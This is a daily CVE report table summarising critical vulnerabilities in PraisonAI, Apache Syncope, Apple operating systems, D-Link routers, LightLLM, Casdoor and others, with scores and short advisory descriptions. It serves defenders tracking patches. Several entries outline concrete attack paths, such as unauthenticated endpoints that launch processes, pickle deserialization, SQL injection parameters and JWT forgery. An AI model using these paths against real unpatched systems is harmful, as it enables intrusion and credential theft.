CVE-2026-57123	New	9.8	CRIT		0.005		PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, ToolsMCPServer.run_sse and launch_tools_mcp_server bind to 0.0.0.0 and create /sse and /messages/ routes without invoking the available SecurityConfig authentication, origin-validation, or DNS-rebinding controls. Any reachable client can list and invoke registered tools, and a browser can target a loca...
CVE-2026-57124	New	9.8	CRIT		0.006		PraisonAI is a multi-agent teams system. Prior to 4.6.59, the default UI host applications expose POST /api/mcp/connect without mandatory authentication and accept caller-controlled command and args values that PraisonAIUI passes to StdioMCPClient to start a local process. Because the UI commands bind to 0.0.0.0 by default, a reachable unauthenticated client can execute comm...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-57125	New	9.8	CRIT		0.004		PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.59 and praisonaiagents 1.6.59, the unauthenticated POST /api/v1/runs Jobs API accepts attacker-controlled agent_yaml, and the approve field can mark execute_command as YAML-approved before @require_approval checks critical tools. This chain allows a remote caller to cause a configured language model agent to inv...
CVE-2026-57127	New	9.8	CRIT		0.009		PraisonAI is a multi-agent teams system. Prior to 4.6.58, recipe serve installs APIKeyAuthMiddleware or JWTAuthMiddleware when an operator selects api-key or JWT authentication, but each middleware forwards requests when PRAISONAI_API_KEY or PRAISONAI_JWT_SECRET and the corresponding recipe value are absent. Unauthenticated clients can then reach recipe execution, input, and...
CVE-2026-57131	New	9.8	CRIT		0.01		PraisonAI is a multi-agent teams system. Prior to 4.6.58, praisonai.jobs.server.create_app mounts praisonai.jobs.router.create_router under /api/v1/runs without authentication or per-job authorization. Network clients can submit attacker-controlled prompts and agent configuration, list and read jobs, stream results, and cancel or delete other jobs, exposing service credentia...
CVE-2026-59178	New	9.8	CRIT		0.004	pip:esphome-device-builder	ESPHome Device Builder Dashboard is a dashboard for the ESPHome home management software. Prior to version 1.0.12, the dashboard reads its authentication credentials from ` \$ESPHOME_USERNAME ` and ` \$ESPHOME_PASSWORD `. Earlier versions, and the legacy ` esphome ` dashboard, read the bare ` \$USERNAME ` and ` \$PASSWORD ` instead. When the env vars were renamed the bare names were dropp...
CVE-2026-65414	New	9.8	CRIT		0.01	apple:ipados, apple:iphone_os, apple:macos, apple:visionos, apple:watchos	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A remote attacker may be able to cause unexpected app termination or arbitrary code execution.
CVE-2026-73370	New	9.8	CRIT		0.005		Incorrect Authorization vulnerability in Apache Syncope. Delegated administration security checks performed by Reconciliation service's pull and push, being incomplete, could accept calls by administrator not provided with adequate entitlements. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. ...
CVE-2026-73470	New	9.8	CRIT		0.005		Improper Privilege Management vulnerability in Apache Syncope. Delegations can be created or updated with Roles not owned by the delegating User, or not for the same Realm subtree under the delegation management was granted for. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recom...
CVE-2026-73579	New	9.8	CRIT		0.005		Incorrect Authorization vulnerability in Apache Syncope. Any search requests are transformed into SQL, Neo4J or Elasticsearch / Opensearch queries, depending on the actual deployment configuration. An important component of such transformation is the Realms filter, which ensures that the search results are matching the requester's permissions. For non-recursive search req...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73668	New	9.8	CRIT		0.005		Incorrect Authorization vulnerability in Apache Syncope. An administrator with adequate entitlements in a given Realm may be able to read via REST the full Connector configuration, confidential properties included, scoped in another Realm and thus be able to effectively duplicate such Connector instance into the Realm they have administration rights for. This issue aff...
CVE-2026-75030	New	9.8	CRIT		0.006		Missing Authorization vulnerability in Apache Syncope. An administrator with task execution entitlements might be able to mass (de)provision group members, regardless of their group-related administration capabilities. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to ...
CVE-2026-76440	New	9.8	CRIT		0.005		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...
CVE-2026-76441	New	9.8	CRIT		0.005		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...
CVE-2026-76443	New	9.8	CRIT		0.004		As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Email Gateway and Cisco Secure Email and Web Manager engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-20...
CVE-2026-77051	New	9.8	CRIT		0.006		Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Apache Syncope. An administrator with adequate entitlements can achieve execution of arbitrary SQL via stacked queries, leveraging unsanitized entityKey and opEvent parameters. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7...
CVE-2026-77181	New	9.8	CRIT		0.005		Incorrect Authorization vulnerability in Apache Syncope. An administrator with ClientApp's update entitlement is unable to perform the related operation, while ClientApp's create entitlement is checked both for create and update operations on ClientApp. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through...
CVE-2026-78330	New	9.8	CRIT		0.006		Incorrect privilege assignment vulnerability in Apache Syncope. When the configured JWKS settings for internal JWT authentication are disclosed (at least protocol and key), an attacker can obtain admin privileges after completing a successful authentication and obtaining a valid low-privileges JWT. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82232	New	9.8	CRIT		0.006		Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Apache Syncope. An administrator with adequate entitlements can achieve execution of arbitrary SQL via stacked queries, leveraging unsanitized sort clauses for Task search. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from...
CVE-2026-82431	New	9.8	CRIT		0.005		Description `SimpleACLAuthorizer` evaluated the user-level command set by returning early when `nimbus.users` was empty, before `nimbus.groups` was considered. An operator who restricted cluster access by group alone, leaving `nimbus.users` unset, therefore received no restriction at all: every authenticated principal was permitted every user-level operation, including `sub...
CVE-2026-82435	New	9.8	CRIT		0.006		Description The worker's Netty message decoder is installed ahead of the SASL authentication handlers in the pipeline and acts on frames before any authentication has taken place. It allocated buffers sized from a length field carried in the frame, so a single frame from an unauthenticated peer able to reach a worker slot port could drive a large allocation. `storm.messagi...
CVE-2026-82439	New	9.8	CRIT		0.005		Description The DRPC server kept a map from function name to request queue and created an entry the first time a function name was seen. No code path ever removed an entry: request cleanup removed the request from its queue, and the shutdown path drained queues, but the queue object and its map entry remained for the life of the process. Function names come from the client...
CVE-2026-84520	New	9.8	CRIT		0.001	apple:macos	A buffer overflow was addressed with improved size validation. This issue is fixed in macOS Golden Gate 27. A local attacker may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-84561	New	9.8	CRIT		0.002	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A double free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-84609	New	9.8	CRIT		0.002		A permissions issue was addressed with improved path validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to modify protected system files.
CVE-2026-86460	New	9.8	CRIT		0.006		Cypher injection vulnerability in the Neo4j persistence layer when processing some FIQL search conditions. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4.0.7, from 4.1.0-M0 through 4.1.2. Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.
CVE-2026-90898	New	9.8	CRIT		0.003		Bifrost registers MCP clients through its management API. A stdio client is a command plus args. Bifrost starts that program in the gateway the moment the client is added. No MCP handshake required. The default is governance.auth_config.is_enabled=false. Auth off means every caller is a local admin. One unauthenticated POST /api/mcp/client is enough to run a program as th...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-12944	New	9.6	CRIT		0.002		IBM Langflow OSS 1.0.0 through 1.10.0 can allow attackers to execute arbitrary Python code with root privileges (UID=0) on the Langflow server by submitting components containing socket or urllib imports. This enables: (1) AWS credential theft via IMDSv1 SSRF with full IAM role permissions, (2) arbitrary file exfiltration from the container filesystem, and (3) lateral move...
CVE-2026-21391	New	9.5	CRIT		0.004		An improper validation vulnerability exists within PingAM where a well-crafted request allows arbitrary or protected ID Token claims to be set or overridden. In certain configurations this could allow an attacker to bypass authentication controls via spoofing leading to privilege escalation or impersonation.
CVE-2026-85192	New	9.4	CRIT		0.005		Joomla Extension - regularlabs.com - Authenticated, privileged remote code execution in Conditional Content extension for Joomla < 8.0.0 - Conditional Content Pro accepts inline PHP Condition Rules in article syntax. In affected versions, the PHP is passed to the Conditions evaluator without checking who authored the article. Joomla's normal Author text filter preserves the ...
CVE-2026-90680	New	9.4	CRIT		0.005		A security flaw has been discovered in D-Link DIR-823G 1.0.2B05_20181207. The impacted element is the function strcpy of the file /HNAP1/SetStaticRouteSettings of the component HNAP1. The manipulation of the argument PAddress/SubnetMask/Gateway results in stack-based buffer overflow. The attack can be launched remotely.
CVE-2026-90692	New	9.4	CRIT		0.005		A vulnerability was detected in D-Link DIR-878 120B05. This affects the function SetDynamicDNSIPv6Settings of the component Dynamic DNS IPv6 Settings. The manipulation of the argument IPv6Address/Hostname results in stack-based buffer overflow. The attack may be launched remotely.
CVE-2026-90693	New	9.4	CRIT		0.005		A flaw has been found in D-Link DIR-878 120B05. This impacts the function SetWan3Settings of the component WAN Settings. This manipulation of the argument Primary/Secondary causes stack-based buffer overflow. Remote exploitation of the attack is possible.
CVE-2026-90937	New	9.4	CRIT		0.003		froxlор versions before 2.2.5 fail to validate newline characters in subdomain redirect URLs, allowing authenticated customers to inject arbitrary nginx or Apache configuration directives. Attackers can supply URLs containing literal newlines that are written verbatim into vhost config files during cron rebuild, enabling web server configuration corruption, denial of service...
CVE-2026-67399	New	9.3	CRIT		0.007		Deserialization of untrusted data in WHMCS 9.0.0 before 9.0.8 and 8.0.0 before 8.13.7 allows remote attackers to execute arbitrary code.
CVE-2026-90919	New	9.3	CRIT		0.01		LightLLM through 1.2.0 contains a remote code execution vulnerability in the Config Server's unauthenticated /visual_register WebSocket endpoint that passes the first client frame directly to pickle.loads(). Attackers can reach the Config Server port and send a malicious serialized payload with a __reduce__ method to execute arbitrary code with Config Server process privileges.
CVE-2026-90942	New	9.3	CRIT		0.002		Casdoor through 4.4.0 fails to properly mask the instance-wide built-in certificate private key in /api/get-certs and /api/get-cert endpoints, allowing organization administrators to retrieve it. Attackers can use the exposed private key to forge JWT tokens for any user in any organization, including global administrators.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90943	New	9.3	CRIT		0.002		parallax filament-comments through 3.0.0 contains a stored cross-site scripting vulnerability in comment body rendering that allows authenticated panel users to inject malicious scripts. Attackers can store XSS payloads in comment bodies that execute in the browsers of other users viewing those comments, including administrators, enabling session token theft and unauthorized...
CVE-2026-90945	New	9.3	CRIT		0.005		Crawlab through 0.6.3 uses a hard-coded HMAC-SHA256 secret for JWT token signing that cannot be overridden via configuration or environment variables. Unauthenticated attackers can forge valid administrator tokens to access administrative APIs and execute code on worker nodes.
CVE-2026-90961	New	9.3	CRIT		0.005		The LdapAuth and LinOTPAuth authentication plugins in MISP contain an authentication bypass vulnerability. Both LdapAuthenticate and LinOTPAAuthenticate replace CakePHP's FormAuthenticate class but fail to replicate its _checkFields() input validation guard. As a result, the email and password fields extracted from the login request are passed to downstream authentication log...
CVE-2026-12258	New	9.2	CRIT		0.004		Inadequate access control in Hiperdino's REST v1.0 API. The public endpoint 'customer/check' could allow an authenticated attacker to enter a telephone number or an email address. When the value entered belongs to a registered customer, the service returns the associated information (email address and telephone number). No authentication is required beyond a static bearer to...
CVE-2026-57578	New	9.2	CRIT		0.004		DotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-final, AuthorizeActionFilter performs no authorization because its explicit ICommandActionFilter.OnCommandExecutingAsync, IViewModelActionFilter.OnViewModelCreatedAsync, and IPresenterActionFilter.OnPresenterExecutingAsync implementations return completed tasks instead ...
CVE-2026-43790	New	9.1	CRIT		0.003	apple:macos	The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.
CVE-2026-50006	New	9.1	CRIT		0.008		Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, anyquery server forwards unauthenticated SQL from its MySQL-compatible server port to SQLite without restricting ATTACH DATABASE filesystem targets. A remote attacker can select any path writable by the Anyquery server process, cause SQLite to create a database file there, and place attacker-controlled t...
CVE-2026-53713	New	9.1	CRIT		0.004		Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.7.4 and 1.8.1, to_absolute_normalized_path in internal/gatewayapi/luavalidator/security.lua does not collapse redundant separators before is_critical_path evaluates Lua submitted through EnvoyExtensionPolicy during default Strict validation. Li...
CVE-2026-57145	New	9.1	CRIT		0.004		PraisonAI is a multi-agent teams system. Prior to 4.6.62, src/praisonai/praisonai/tools/multiedit.py passes the LLM-controlled filepath parameter directly to open for reading and writing without traversal rejection, symlink resolution, a workspace boundary, or protected-path checks. Prompt-influenced agents can read files through edit and diff behavior or overwrite files acc...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-61534	New	9.1	CRIT		0.008		Yayson is a library for serializing and reading JSON API data in JavaScript. Prior to 4.3.0, Store and LegacyStore use attacker-controlled JSON:API type, id, and relationship names as keys in plain-object lookup tables in src/yayson/store.ts and src/yayson/legacy-store.ts. A document whose type is __proto__ causes model-cache writes to modify Object.prototype, with the attac...
CVE-2026-78299	New	9.1	CRIT		0.003		In Eclipse Embedded CDT versions 6.0 to 6.7 if the CMSIS-Pack archive extracts a compromised CMSIS pack the archive extraction can extract files to locations outside of the pack, allowing writing of arbitrary files to other locations on disk.
CVE-2026-82441	New	9.1	CRIT		0.004		Description A submitted topology carries two lists of blobstore keys, `dependency_jars` and `dependency_artifacts`, which the client fills in after uploading the corresponding blobs. Nimbus performed no validation of their contents on the submission path, yet acts on them in two places. During cleanup of a finished topology, Nimbus deletes the keys named in those lists, an...
CVE-2026-84625	New	9.1	CRIT		0.002		A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27, watchOS 27. An app may be able to fingerprint the user.
CVE-2026-86881	New	9.1	CRIT		0.001	apple:ipados, apple:iphone_os, apple:macos, apple:tvos, apple:visionos, apple:watchos	A certificate validation issue was addressed with improved certificate validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An attacker with a compromised intermediate certificate authority may be able to issue certificates with arbitrary extended key u...
CVE-2026-87785	New	9.1	CRIT		0.005		Authentication bypass by spoofing vulnerability in Apache Syncope. When the configured JWKS settings for internal JWT authentication are disclosed (at least protocol and key), an attacker can spoof another user's privileges after completing a successful authentication and obtaining a valid JWT. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M...
CVE-2026-87802	New	9.1	CRIT		0.003		Improper verification of cryptographic signature vulnerability in Apache Syncope. When SRA is configured for OAuth 2.0 without JWKS set URI assigned, an attacker can forge arbitrary JWTs to impersonate any user identity and permissions, gaining full access to services proxied by SRA. This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 through 4...

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.